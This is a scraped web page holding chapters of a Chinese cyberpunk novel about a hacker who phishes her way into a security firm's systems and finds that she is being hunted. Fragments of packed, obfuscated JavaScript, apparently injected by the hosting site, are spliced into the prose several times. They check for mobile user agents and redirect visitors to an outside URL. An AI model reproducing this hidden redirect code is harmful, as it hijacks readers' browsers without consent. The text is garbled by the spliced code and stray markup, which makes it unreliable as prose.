l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421357|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过程一路推导至终章。 一开始的时候，这种感觉还不明显，路问夏只当是换了新义肢的原因。 她一个委托接着一个委托，钱包里的进账不断冲谈了那隐隐的怪异感。 等到路问夏反应过来的时候，时间已经过去了一个小时十二分钟。 而她也已经几乎没有任何停顿地连续完成了6个委托。 而且，每一个都是五星好评。 叮咚—— 随着第六个委托的1800星币入账，路问夏钱包的余额来到了五位数—— 「10300星币」 呼—— 路问夏松了口气。 自己刚刚挣得的报酬已经足够她去把维拉的吊坠赎回来，把欠夏侯雪的债还完。 并且还能结余4000星币。 路问夏查过，虚拟网的设备费用是15000星币，加上每月5000星币的接入费用，并非是一个不可能够到的门槛。 金钱压力下，路问夏在故意忽略这具身体让人不安的微妙表现。 现在是早上十一点，路问夏没打算停下接委托的节奏。 甚至，她连完成委托的速度都没降低，半小时又拿到三个五星好评。 路问夏马不停蹄地寻找下一个委托。 突然，她的目光在某一条委托上停住了—— 「请帮我获取猎鹰集团去年的财务报表。」 财务报表这种说机密也不算机密，获取的方法也基本依靠初级的网络钓鱼和内部网权限来实现，没什么特别的。 但路问夏敏锐地捕捉到了「猎鹰集团」的字眼，那是之前袭击她的清道夫们所在的集团。 第六感在隐隐发出不同寻常的讯号，促使着她接下了这个委托。 趁着委托的契机，路问夏对猎鹰集团进行了一次深入的调查。 熟练伪装好钓鱼信息，路问夏轻松地让猎鹰的某位财务人员上了钩。 身份认证连带着从对方系统里找到的财务报表，就这么落入路问夏的手里。 但路问夏没有着急把报表交给委托人，而是自己先研究了起来。 她对财务的了解仅限于大学时期上过的唯一一门选修课领悟到的皮毛中的皮毛。 看着报表里的一行行数据和猎鹰系统的其他文件，路问夏若有所思。 反正不着急提交委托的结果，路问夏干脆一边自学一边研究猎鹰。 除了巨石这个最大的金主以外，猎鹰能收到很多公司的资金支持，包括但不限于神农药业、康洛保险，甚至是回声科技。 而且，这些资金来得有些莫名其妙。 就像是.....猎鹰集团收了钱帮大公司收拾人似的。 这个猜测让路问夏的心一紧，危机感再次袭来。 因为这意味着，追杀自己的很可能和星际这些叫得上号的垄断资本大公司挂钩。 来都来了，路问夏打算好好在猎鹰的系统里搜寻一番线索。 路问夏顺藤摸瓜，从财务部一路入侵到业务部。 猎鹰给所有的项目进行了不同的权限分级。 权限较低的资料显示，猎鹰集团的项目看起来和普通的安保公司差不多，诸如协助某公司高层的安保工作、负责某公司新产品的运送工作。 这些项目的一部分收入则被投入到了装备的更新和人员的培训上。 路问夏多往前几年翻了一下，项目明面上好像没什么特别的。 可当路问夏翻到五年前的一个项目时，却意外发现了自己的名字。 「星历2403年，安保部门护送德洛马斯技术部路问夏到达新品义体发布会，并负责维护发布会现场秩序。」 11. 追杀 路问夏在看到自己名字出现在猎鹰集团的文件后，愣怔了好一会儿。 从之前和夏侯雪聊天的只言片语中，路问夏知道自己曾经在一家大型公司上班。 但她没想到的是，这家大型公司竟然是整个星际最大的资本——德洛马斯，而她曾经是其技术部的一名员工。 路问夏的第一反应是自豪。 毕竟，一个优秀的牛马，最大的成功就是进入到行业最顶尖的公司闯出一番事业。 无论是得知自己曾经就职于德洛马斯的技术部，还是意外发现自己在虫巢的神秘大神身份，都让路问夏很欣慰。 看来哪怕是在赛博世界，自己也是顶尖的程序员。 该死的刻在骨髓深处的牛马精神！ 可这种牛马的自觉甚至并没持续过两分钟，路问夏就意识到了一个糟糕的现实。 现在是星历2408年，也就是说，她在五年前，她还是技术部能够参与新品发布会的技术人员。 而是在三年前，她却被开除了。 尽管开除的原因目前不明，但路问夏隐隐担忧的生命威胁，应该也来源于德洛马斯。 路问夏思绪飘到了自己新换的右手臂义肢上的属于德洛马斯的logo，心里莫名有点儿不安。 为了验证自己的想法，路问夏没有任何停顿地寻求更高权限等级的内容。 破解没有想象中的顺利。路问夏通过各种方式搞到的几个猎鹰集团账号密码，在登陆后都发现他们都只有普通权限。 也就是说，在大部分猎鹰集团内部员工的视野中，这家公司根本没有追杀自己这种灰色产业。 啧，猎鹰的信息保护做得还不错。 在经过一番努力的后台调查后，路问夏发现猎鹰集团的最高权限人似乎只有三人—— 分别是猎鹰集团的董事长、总经理以及一问由董事会指派的特别顾问。 这位叫瓦伦的特别顾问一下引起了路问夏的注意。 瓦伦是在一年前才来猎鹰集团的，从履历上来说是很明显的空降，连职位也。瓦伦的前一段经历是在桑特星最大的风投公司全景创投当投资总监，算是公司的中流砥柱。 路问夏于是搜索了一下这位瓦伦和他说在的全景公司。瓦伦的全名叫瓦伦-奥利弗，今年已经五十三岁。 瓦伦有着符合人们对金融男的刻板印象的长相，假模假样的绅士中带着一丝油腻自恋。 全景创投在桑特星曾经的投资项目包括但不限于德洛马斯、神农医药、巨石集团和猎鹰集团，投资回报率一绝，是公认的好眼光。 按照常理来说，瓦伦在全景创投做得好好的，根本没必要来猎鹰这种级别的公司。 路问夏将搜索的范围扩大，在全景创投的内部论坛上找到了答案。 「好消息！我们的联合投诉终于被合伙人受理了，瓦伦这个老色鬼终于要被赶走了！！」 「太好了！我已经忍他很久了！真的是全景大毒瘤，隔三差五就在公司性骚扰别人！」 「哇！瓦伦这下终于翻车了！我真的超级讨厌这种极度自信的中年男子的！」 「瓦伦能被开除吗？！（兴奋）」 大家的讨论在某条对瓦伦的新任命的公告后重新热闹起来，只是大家的情绪都挺低落的。 「特别顾问是什么？猎鹰集团不是我们之前领投的公司么？」 「我听说他在星际政府关系超硬的，可以随便空降。」 「气死了，公司还是要保他......」 虽然帖子都被删得差不多了，但路问夏还是通过零星的信息拼凑出了整个故事。 既然这个瓦伦有性骚扰的前科，那他大概率来到猎鹰后还是会死性不改的。 路问夏清楚人性，瓦伦将会是她突破猎鹰高级权限的最佳人选。 确定好计划之后，路问夏在网络上进行着更深度的搜索—— 从公开活动到私人社交媒体，路问夏一个不落地收集着庞大体量的信息。 时间一分一秒的过去。 路问夏深呼吸，平复了一下眼睛和心灵受到了双重污染的心情。 她有想过瓦伦是个老渣男，但她没想到他也太令人作呕了。 瓦伦为人高调爱出风头，且热衷于出席各大社交活动，但每次带的女友都不一样。从瓦伦的消息记录来看，这人露骨又下流。 路问夏强忍着心中的不适，手上的速度加快。 瓦伦这人在社交媒体上基本属于公开透明状态，找点隐私信息并不费劲。 他的某几任“女友”的保密工作做得实在不够到位，什么都敢往社交媒体上发，泄漏的信息一个手都数不过来。 最快的方法当然是老样子先钓鱼。但路问夏比较担心的是，瓦伦这种级别的人，对平常的手段都有所防备，应该需要别的方案。 两分钟后，路问夏看着搞到手的猎鹰集团专用的用户名和密码，沉默了片刻。 事实证明，路问夏高估了对方。 路问夏噼里啪啦地在后台输入信息登录，肯定地敲下回车键。 下一秒，页面刷新。 成功了！ 也不知道猎鹰集团的防火墙和反入侵系统建设得如何，会不会追踪自己。 保险起见，路问夏加快了手上的动作，快速地利用这位特别顾问的最高权限，在各种保密文件里畅游。 果然，在这里猎鹰集团的业务广泛很多，多的是杀人防火的勾当。 在前一天的报告中，路问夏再次看到了自己的名字。 报告内容言简意赅—— 星历2408年6月25日 第三次追杀路问夏失败，四改造人报废，已入库处理。 只凭文字，路问夏心底就陡然升起一股寒意。 第一是自己确确实实正在被追杀，且是第三次。第二是对方用了报废和入库处理来形容改造人，显得过分冷血无情。 她平复着砰砰直响的心跳，想要找到追杀自己的人。 路问夏深呼吸，搜索着自己的名字相关的数据信息。 看着那一条条冰冷的记录，路问夏感觉自己跌入冰窖，刺骨的寒气要把她吞噬一般。 星历2408年6月14日 发现路问夏藏匿于伍德星，确认进行追杀行动。 星历2408年6月18日 第一次追杀路问夏失败，两人义体短路，已维修。 星历2408年6月23日 第二次追杀路问夏，造成路问夏义体受伤感染，结果不明。 星历2408年6月24日 路问夏存活确认。 路问夏不敢再停留， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421358|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她知道，在历经了昨天的第三次失败追杀后，猎鹰集团肯定不会罢休的。 她试图寻找更多的信息，比如，猎鹰下一次动手是什么时候和计划，再比如，让猎鹰追杀自己的幕后黑手究竟是谁。 可无论路问夏再怎么把数据库翻个底朝天，都找不到这些更关键的信息。 猎鹰一定还有别的平台，有别的储存数据的地方。 路问夏谨慎地退出了瓦伦的账号，走之前还不忘抹除了一切自己来过的痕迹。 叮—— 就在路问夏试图寻找猎鹰潜藏在冰山底下的蕴藏的秘密的时候，一条信息从虫巢加密的信息系统传了过来。 发件人是委托人，虫巢允许委托人和接委托的黑客联系，但双方互不知晓身份。 「请问找到财务报表了吗？如果太困难，我可以重新发布的，钱会给你30%。」 原来是催进度来了。 确实还是先把委托提交比较好。 路问夏于是匆匆回复了两个字——「马上。」 猎鹰的财务报表很快就传送到了委托人的信箱。 下一秒，路问夏看到了委托人的五星好评，以及钱包里的最新收入。 2000星币！这可是路问夏在1级委托里拿到最多的一笔报酬。 这委托人够大方的。 算上之前的报酬，路问夏钱包里有12300星币了。 她满足地伸了个懒腰。 结束了委托的路问夏正准备离开虫巢，「画饼不能充饥」就带着两个生面孔出现在她眼前。 一个是鱼头人身，另一个也是鱼头人身。 只不过，两个人的鱼头品种不一样，一个是瞪着死鱼眼的鲤鱼，另一个是鲸鱼。 “我听他们说你可是传奇，结果这么简单的任务竟然做了这么久，也不过如此么。” 先开口的是鲸鱼头，穿着格子衬衫和黑色松垮休闲裤。 路问夏嘴角抽了一下，品味真是不怎么样。 “这是「巨鲸」。”「画饼不能充饥」闻到了空气中弥漫的硝烟味，赶忙上前一步介绍道。 哦，原来这就是虫巢新晋流量「巨鲸」。 但针对「巨鲸」的发言，路问夏没空搭理，于是随意地点了下头。 这行径在「巨鲸」眼里充满了挑衅，气得他鲸鱼头喷出了水柱。 那略显诡异的画面，引得路问夏情不自禁噗嗤一下笑出声。 这笑声落到「巨鲸」耳朵里就更刺耳了。 “就算是元老大神，也不能这么没有礼貌吧？！”「巨鲸」梗着若有似无的脖子，对路问夏质问。 路问夏实在没空和人寒暄，她刚刚得知自己仍然在被猎鹰集团追杀的状态里，一肚子问号不说，心里更是七上八下的。 她必须得赶紧离开这里。 “我下了。” 于是，路问夏认真地依次和三个人点头，随后就下线了。 虚拟形象直接在虫巢消失，消失得足够干脆利落，周围的人有些猝不及防。 “这么拽？”「巨鲸」气不打一出来，愤愤不平。 “呃，还道别了也不算没礼貌吧。”「电子鱼」耸耸肩，回忆了一下往昔，“「007」她一直好像都挺高冷的。” 只有「画饼不能充饥」依旧闪烁着他那双崇拜的眼睛。 12. 永冬 退出虫巢后，路问夏看了眼时间，发现已经快下午一点了。 自己确实在猎鹰集团上耽搁得有点儿久。 路问夏没有停顿地在虚拟网开始深度搜索，希望能找到猎鹰集团藏起来的另一个入口，以寻找背后追杀自己的人或公司。 路问夏寻找了很久。她自认为自己作为黑客的水平不低，但网络上似乎根本找不到这样的地方。 这让她感到很挫败，看着旋转的光圈发呆。 咕咕—— 路问夏的肚子对她的超时工作率先发出抗议。 哪怕身处在虚拟网，身体机能的变化是精准传达的。 路问夏叹了口气。 反正一时半会儿没什么进展，事已至此，先吃饭吧！ 她默默退出了虚拟网，重新回到夏侯雪的别墅。 夏侯雪刚给她发了信息，说工作拖得晚了些，让她自己在厨房做些吃的。 路问夏打开冰箱里，看着堆了快三排的营养液愣神，最终还是微微叹气。 虽说喝营养液在这个世界是种潮流，但她接受不了代餐成为主食这件事。 于是，路问夏在冰箱里找到了唯二的两个鸡蛋，又在咖啡机上给自己做了一杯双倍浓缩。 窗外，一阵风吹动了绿油油的树叶，几片叶子掉落在地，又随着风飘了起来，飞向远处。 路问夏看着这一切，享受着难得的平静与安宁。 - 桑特星。 公司总部林立的中央区，是汇聚着全星际精英们的一片地方。 所谓精英，自然是不同于“耗材”般的底层群众的。 他们是自命不凡的，是努力攒钱将自己的身体更换成漂亮义体、追上最新潮流的高级牛马。 中央区最引人瞩目的是德洛马斯科技宏伟壮观的总部大楼。 与其说是一座大楼，不如说是一座空中岛屿，在人间投下巨大的投影。 德洛马斯的空中岛屿由一座直通云霄的高速电梯与地面连接。 光从外观和地面接待处的豪华且高科技的程度来说，都透露着它想要笼罩整个星际的野心。 空中岛屿边上是几家超高层建筑，分别隶属于神农医药、清濑医药、巨石集团、安戈洛武器等行业巨头。 在公司方圆三公里内，还矗立着成片的昂贵公寓楼。 它们有着精心的设计和严密的安保，保证着住户们的隐私与安全，成为了高级打工人的最佳选择。 在以安保森严、监控密布著称的中央区第五大道一号公寓就坐落于此，窗外就能远眺巨头公司。 公寓的28层，一位男人正在光脑前聚精会神地敲打着键盘写着什么。 男人拥有一张标准到完美的脸庞，黑发棕眸、五官立体，神情倒是颇为严肃。 不消片刻，男人便完成了最后的润色。 他腰背挺得笔直，郑重地敲下了标题——「游走在灰色地带，揭秘猎鹰集团安保背后的生意。」 男人点下发布按钮，一篇全新的报道被上传到了一个名为W99的网站上。 晚上九点，距离新闻上传不过半小时，近千条评论就涌现了出来。 「来了来了！是永冬的调查报道，我们有救了！！」 「刚读完，不是吧？我可以说猎鹰其实根本就是大公司的爪牙么？」 「保（打）镖（手），怪不得财报每年都很好看，感情主业根本就不在这里啊......」 「这真的不违法吗？！星际政府能不能不要对大公司再跪舔了啊？做傀儡有意思吗？一退再退真的会崩盘的吧？」 「我也觉得星际政府可以对猎鹰下手了，这灰色生意根本就是在谋财害命！」 一石激起千层浪。 W99网站是整个星际赫赫有名的深度调查网站，成立至今已经有六百多年的历史了。 从一个无人问津的小网站，成长到如今世人皆知的正义之师，靠的是一篇又一篇资料翔实、逻辑清晰、分析深刻的调查报道。 它有别于星际目前所有的电视台和媒体，是独树一帜的存在。 永冬是W99的创立者和主编。只要是他写的稿子，里面涉及的公司虽然不是德洛马斯这类巨头，但也都是行业内叫的上名号的公司，爆出的秘密都是独家。 第一是因为从来没有人见过永冬的样子。 网络上有传言永冬长相丑陋且凶狠，也有传言说活了六百年的永冬其实是一个传承的账号，所以才没有露面。 第二是因为永冬的信息防护保密工作做得很好。 自从W99开始动一些大公司的蛋糕后，多的是想黑掉它的人，可每一个都铩羽而归。 后来，大家干脆不费这个心思和力气了。 更何况，被点名的公司从一开始的担惊受怕，到现在越发泰然处之了。 除了虱子多了不怕痒，更重要的是，大公司们已经逐渐成长为能够无形影响星际联盟政府和整个社会的庞然大物。 大公司们大方地给予人们批评的自由，却依旧能把权钱牢牢地握在手里。 此刻，男人站起身，站在巨大的玻璃窗前，微微抬头，仰望着那座无人可撼动的空中岛屿。 男人身姿挺拔，玻璃投影出的眼眸平添了一丝疏离和淡然。 他的眼前是闪烁着高饱和的霓虹灯，身后则是光脑屏幕闪烁的新评论。 可能大家也没有想到，永冬相貌并不丑陋，他也没有像阴沟里的老鼠一样四处躲藏。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421359|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 永冬就这么站着远眺，脑袋里不知道在思考些什么。 只是，他的手指正不自觉地敲打着玻璃窗。 如果仔细听的话，似乎能微妙地感受到节奏流淌的感觉。 像是......音符的节奏？ - 「抱歉，晚上有个饭局，可能会很晚回来。不用等我，困了就先睡觉。」 别墅里，路问夏对着夏侯雪的消息叹了口气。 果然，伍德星人气主播的行程就是忙。 路问夏随手回了句「好的」，就默默走进了客房。 路问夏没什么胃口。 整个下午，她都在试图解开猎鹰集团为何要追杀自己，又是受何人指使的谜团，但始终没有进展。 她的心脏跳得很不规律，那种因为被追杀而惴惴不安的焦虑如同乌云，全方位无死角地包裹着她。 心烦意乱的路问夏躺在床上打开了终端，下意识地搜索「猎鹰」这个关键词。 信息一条接着一条蹦了出来。 嗯？ 这些内容让路问夏一下坐直了身体，大家热议的是一篇关于猎鹰灰色产业的深度报道。 她顿时来了兴趣，仔细认真地阅读完了报道。 在看到财务报告那部分内容的时候，路问夏敏锐地把委托人和永冬联系起来。 所以，今天那个超级大方的委托人就是永冬？ 就算不是本人，应该和永冬有不同寻常的关系。 永冬的报道写得很有条理。 猎鹰集团那些不明收入的确是来自不同公司的灰色生意的委托。 不过调查显示，这些灰色生意主要是违禁武器药物的运送、破坏敌对公司的设施，或者是偷盗抢劫某些关键产品。 永冬显然没有像自己一样拿到最高权限，看到更露骨可怕的内容。 比如，杀人放火。 可哪怕只是揭开了冰山一角，对普通公民来说，也足够惊人了。 路问夏感觉脑海中缺失的拼图块正在一点点补起来，但关键图案处仍然缺失。 她有些庆幸自己今晚住在夏侯雪的别墅。 这里的安保很严密，加上这篇报道，猎鹰集团应该暂时没空来对付自己。 但这一晚，路问夏睡得并不踏实，她半夜惊醒了好几次。 人是有求生的本能的。 尤其是路问夏这种已经死过一次的人。 路问夏最后一次醒来已经是早上五点。 窗外，地平线处微微透着光亮，象征着全新一天的开启。 咚咚—— 突然，一阵敲门声传来，让昏昏沉沉的路问夏猛然清醒。 ！！ 难道自己又被发现了？ 13. 发烧 路问夏放轻脚步，小心翼翼地走下楼。 在一楼半的位置，路问夏克制住快要跳出胸膛的心脏，试图从一层的一扇玻璃窗观察。 但很奇怪，门外似乎没有人站着。 未知让路问夏心慌。 虽然夏侯雪的别墅从大门口开始就有一道又一道的安保措施，但路问夏想到自己正在被追杀这件事，内心的不安就不可避免地加剧。 路问夏快速环顾了一下豪华大别墅，视野范围内并没有好的防身的物品。 她突然想起了之前维拉给自己的那把电磁枪还好好地保存在衣服的内兜。 于是，路问夏将电磁枪握在手中，克制着因为紧张而产生的微微颤抖。 路问夏的另一只手也没闲着，抄起了门口鞋柜上摆着的花瓶，作为防御的聊胜于无的手段。 夏侯雪的大门配备有可视门铃，但在有限的视野里，路问夏完全没看到有人。 路问夏鼓起勇气，低沉着嗓子，刻意隐藏自己的声音，问道：“哪位？” 在确认更多信息之前，路问夏不打算开门。夏侯雪和她说过，如果别墅遭到恶意入侵将会自动报警。 门外很安静，路问夏觉得度秒如年。 她握着枪的手一动不动地继续瞄准着门缝。 终于，大概过了快半分钟的时候，门外传来了一道虚弱的声音。 “......是我。” 虽然简短，但路问夏立刻认出了那是维拉！ 提着的心大半落了地，她将门推了一条缝，目光向下，看到了正靠在墙边休息的维拉。 维拉脸色苍白，嘴唇泛着不健康的绀紫色，额头上满是汗珠，嘴角还挂着快干涸的血迹。 看到路问夏终于开门，维拉强撑着眼皮看她，试图自己从地上爬起来。 路问夏微愣了片刻。 这是她第一次看到维拉以如此虚弱的形象出现在眼前。 在路问夏的印象中，维拉一直都是强壮有力且坚不可摧的。 ——维拉从隔壁屋子进来利落地给自己急救，带着自己勇闯黑市干掉追杀自己的人。还有，自己手里这把防身的电磁枪也是她给的。 路问夏迅速把花瓶放下，又把电磁枪揣回了兜里，然后一把拉住了维拉的胳膊，想要把她从地上拉进屋里。 只是，路问夏低估了维拉的体重，也高估了自己的力量。 人没拉起来不说，差点在反作用力下摔在维拉的身上。要不是伤员维拉一把稳住她，她就要四仰八叉倒地了。 “抱歉，你没事吧？！”路问夏赶忙问道。 “没事。”维拉在依旧苍白的脸上扯出一个微笑，“要我说，你得加强锻炼。” “行。那等你康复了，你带我练。” 路问夏气沉丹田，再次用力拉维拉。 好在这次维拉也有所准备提着气往上，两个人顺利进到了别墅里。 路问夏警惕地确认了一下四周没有可疑的人，这才把门关上。 路问夏找到了柜子上的医疗箱，又给维拉倒了一杯水，一起放在桌子上。 “你这是怎么了？” 维拉熟练地在医疗箱里找到了一瓶棕色的玻璃瓶，倒出三片白色药片在掌心，就着冷水吞了下去。 “这个任务出了点儿意外。”维拉揉了揉太阳穴，语气淡定地讲述着自己遇到的情况。 “对方似乎知道我要来似的，打几十个人全副武装围剿我。我逃出来的时候费了点儿功夫，受伤了。” 维拉讲得过于云淡风轻，以至于让路问夏有些恍惚。 那估计，也不是什么大伤吧？ 维拉自行处理好伤势之后，整个人看上去仍然很虚弱。 “我去睡一会儿。” “好，你有事情叫我。” 路问夏的眼神带着担忧，目送维拉进了客房。 - 午后，阳光彻底照进了整个客厅，一切显得亮堂又暖洋洋的。 路问夏看了眼时钟，距离维拉躺下已经过了五个多小时。 也不知道维拉现在情况如何了。 她端着一杯热水，担心地上楼推开房门，轻声拍打维拉的肩膀。 “要不先吃午饭吧，我煮了粥，煎了鸡蛋。” “唔......”维拉翻过身来，迷迷糊糊地应着。 维拉的脸色不再惨白，正相反，她现在满脸通红，额头的汗水一个劲儿地往下流，领口连带着被子的边缘也因为汗水被全部打湿。 路问夏心里一惊，维拉的状况看上去不太妙。 她将手背凑上维拉的额头，一阵滚烫袭来。 维拉她，发烧了！ 意识到这件事的路问夏赶紧去浴室拿来了打湿的毛巾，盖在了维拉的额头上，试图帮她降温。 “喝点水。” 维拉将自己身体撑起来一些，侧过身用水沾湿了干裂的嘴唇。 半小时间，毛巾换了好几块，但维拉的体温一点儿没有下降。 甚至，体温有上升的势头，她的的义体都跟着发烫。 路问夏一碰上维拉的手臂，感觉要被烫冒烟了。 路问夏暗道不好，但她并不知道维拉到底怎么了，再着急也不能立刻变成医生。 路问夏下意识想要把维拉送去医院或者呼叫夏侯雪的私人医生，但又想到了维拉雇佣兵的特殊身份，手上的动作顿住。 “维拉，维拉你醒醒！”无法，路问夏只好试图将维拉摇醒，“醒醒。” 维拉一开始并没有反应，在路问夏持续的晃动之下，总算迷迷糊糊重新睁开了眼睛。 “我......我怎么了？” “你发烧了。”路问夏的语气急促，询问道，“我现在带你去找希尔！” 到这关键时刻，路问夏也顾不上自己究竟有没有摆脱追杀这件事，提议道。 “好......”维拉不再逞强。 “你们怎么了？” 路问夏刚把维拉拖到了门口，就和刚结束工作和社交活动的夏侯雪撞个正着。 夏侯雪穿着一身明艳高调的红色长裙。 “维拉她发烧了，她职业敏感，我得带她去黑市找希尔医生。希尔我们都信得过。” 夏侯雪闻言，二话不说就将维拉的右胳膊搭在了自己的肩膀，快速把高跟鞋踹了，换成和礼裙相当不搭的灰色球鞋。 “走吧。”见路问夏愣住，夏侯雪没好气地说道，“你不是不会开车吗？怎么，打算拖着维拉走下山去黑市？” “我有......”路问夏本想反驳说有驾照，但立刻反应过来自己在这个赛博世界并没有，便紧急刹车，“嗯。” - 路问夏和夏侯雪一起抬着虚弱的维拉进了幸福诊所。 看到三人，门口的护士终于不再是之前那副机器人般的笑脸。 她看向路问夏的时候带着点儿心虚，又在看到夏侯雪的时候瞪大了眼睛。 “夏、夏侯雪！” 夏侯雪撩了一下头发，扬起固定礼貌笑容道：“下班时间，不签名不合照。” 路问夏看到护士想起来上次被追杀的时候，心里一沉。 但她现在总不能直接掏出电磁枪干掉对方吧？ 加之肩头维拉粗重的呼吸声还在耳边，路问夏无视了前台，径直走进了诊室。 咚咚两声快速敲门后，路问夏一把推开了木门。 “你......”希尔卡在喉咙的质问，在看到维拉后吞回了肚子。 “你们把维拉扶到这儿。”希尔的神色十分严肃，快速地准备好急救药品。 唰—— 浅蓝色的帘子被一下拉上，隔绝了路问夏和夏侯雪的视线。 “你们出门等候吧。”希尔冷静地送客。 破天荒的，希尔并没有先谈钱的事情。 黑黢黢的走廊里，仅有的一盏破灯正在不规则地闪烁。 路问夏不停地来回踱步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421360|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，心脏突突狂跳。 “对了，刚才那个前台有什么问题吗？”夏侯雪察言观色的能力一流。 路问夏长话短说了上次的情况，然后低垂着头。 “总之，她很有可能再次通风报信我的位置。” 夏侯雪皱起眉头，打开手机快速给某人发送了信息。 对方几乎是秒回。 “别担心，我的保镖马上过来。”夏侯雪轻拍路问夏的肩膀，“在弄清楚这位前台小姐的意图之前，她出不去，其他人也进不来。” 路问夏给夏侯雪比了个大拇指。 “还是咱们大主播厉害。” 夏侯雪撇过头去，耳朵微微泛红。 “毕竟你在我面前出事的话，会显得我很没用。” 维拉的检查和手术持续了近半小时。 希尔医生终于推开门的时候，额头全是细汗。 “维拉她......” 没等路问夏问完，希尔就接过话：“弹药碎片残留引发的感染发烧，我手术取出来了。” 明明手术成功了，希尔的眉头却依旧没有舒展。 “但是？”夏侯雪问道。 “但是——” 果然，希尔话没说完。 “子弹碎片的位置很不好，离心脏太近了。维拉她之前就有心脏的毛病，这次过后旧伤加新病，情况正在恶化。” 见路问夏和夏侯雪脸色不太好，希尔眨眨眼，说道：“但维拉一时半会不会死的，不要用如丧考批的表情看我。” “......” 路问夏觉得这位希尔医生的心态有点儿太好了。 “对了，刚才情况太紧急，忘了算钱的事情。” 危机解除，希尔恢复了财迷设定。她不知从大褂口袋的哪里拿出了收款用的终端。 “加上上次欠的1300星币呢，你今天要付1万8000星币。结清，抵押的吊坠物归原主。” 路问夏：“......” 得亏她今天上午又去虫巢接了几个单，钱包里正好还剩下1万8500星币。 但眼前可不止一个债主，如果把希尔的医药费结清，路问夏就还不上欠夏侯雪的钱了。 两个债主一左一右站着，路问夏头疼。 夏侯雪瞥了一眼路问夏，直接伸出手腕，在希尔的终端上扫了一下。 滴的一声，扣款成功了。 希尔脸上终于绽放笑容：“不愧是伍德星响当当的名人，豪爽！” “嗯哼。”夏侯雪昂着头抱胸，手心朝上。 希尔笑眯眯地把吊坠放到了夏侯雪的掌心。 好了，困境解决。 路问夏现在只有一个债主夏侯雪，欠款已经累计到2万3000星币。 “回去再说钱的事。”夏侯雪拍拍路问夏的肩膀。 “咳咳。” 门内传来一阵咳嗽声，维拉醒了。 “进来吧。”希尔带着两人随即进了屋子。 做完手术的维拉看上去脸色好了几分，就是说话的嗓音还很沙哑。 “希尔，谢谢你。” “不客气，你朋友帮你付过钱了。”希尔朝夏侯雪的方向使了个眼色。 “谢谢。”维拉再次道谢。 希尔打断三人：“行了，你们别谢来谢去了。既然维拉已经醒了，我们还是说回她的病情。” 维拉深呼吸，抢答道：“我的身体撑不了太久，对吧？” 维拉的话过分直白，希尔沉默了。 但此刻沉默显然代表默认。 “到底多久？”路问夏不死心追问道。 希尔：“半年到一年。” 夏侯雪不想接受这个事实：“你要多少钱能治？” 希尔缓缓摇摇头：“不是钱的问题。” 路问夏：“那是什么？” 希尔深吸一口气，说道：“如果你们能搞到德洛马斯还未公布的赛博心脏，也许能有转机。” 14. 线索 “未公布的赛博心脏？”路问夏低喃着，心里却很没底。 夏侯雪倒是对其有些了解。 “你是说开发了十二年，至今还没公布上市希望的那个赛博心脏？”但夏侯雪对这个提议并不乐观。 “大家不都知道么。三年前，戴泽星德洛马斯的实验室遭到了病毒入侵，赛博心脏项目无限期暂停。甚至，连带着那颗可怜的星球，如今都是一片灾后废墟。” 听到这儿，路问夏的心更凉了。 维拉撑起自己，靠着床头坐着，嘴角扯出一个笑容。 “希尔，你别安慰我了，我自己的情况，我还不知道吗？”维拉看着希尔，“三年前，是你救的我。” 希尔默默移开对视的眼睛，没好气地说道：“我救你是为了让你死在我面前吗？” 维拉苦笑。 三年前，这是什么危险的年份吗？ 路问夏敏锐地捕捉到了时间节点的细节，心里默默吐槽。 同时，路问夏在终端默默搜索着有关赛博心脏和戴泽星的资料。 德洛马斯作为星际最顶尖的义体科技公司，除了常规的义体开发，还有一项十分特别的生意—— 就是立志于完成全部人体的赛博机械化。 德洛马斯的宣传语是：「革命性的创新科技，可以改变你我的人生。」 听上去很伟大，不过目前距离目标实现，还有那么一段距离。 尽管德洛马斯已经实现了从人造血管到赛博肝脏的稳步前进，但关于最核心的赛博心脏，一切都停在了三年前的一场意外。 在第二次协议战争后，位于星际最边缘的戴泽星逐渐从工业聚集型星球成为了各大公司实验室的汇聚地。 星历2405年8月，一株名为M-洛克病毒以不明原因在一周之内席卷戴泽星。 短短一周时间，戴泽星所有实验室都有人员被传染此病毒。病毒会造成义体短路故障，严重时引起全身感染，死亡人数超百人。 病毒爆发第十天，星际联合政府下达了全体撤离的指令。 所有从戴泽星人员在桑特星划出的特别隔离区接受了检查和治疗。 但诡异的是，这些撤离的人员还是一个接一个地感染得越发严重，直至最后死亡。 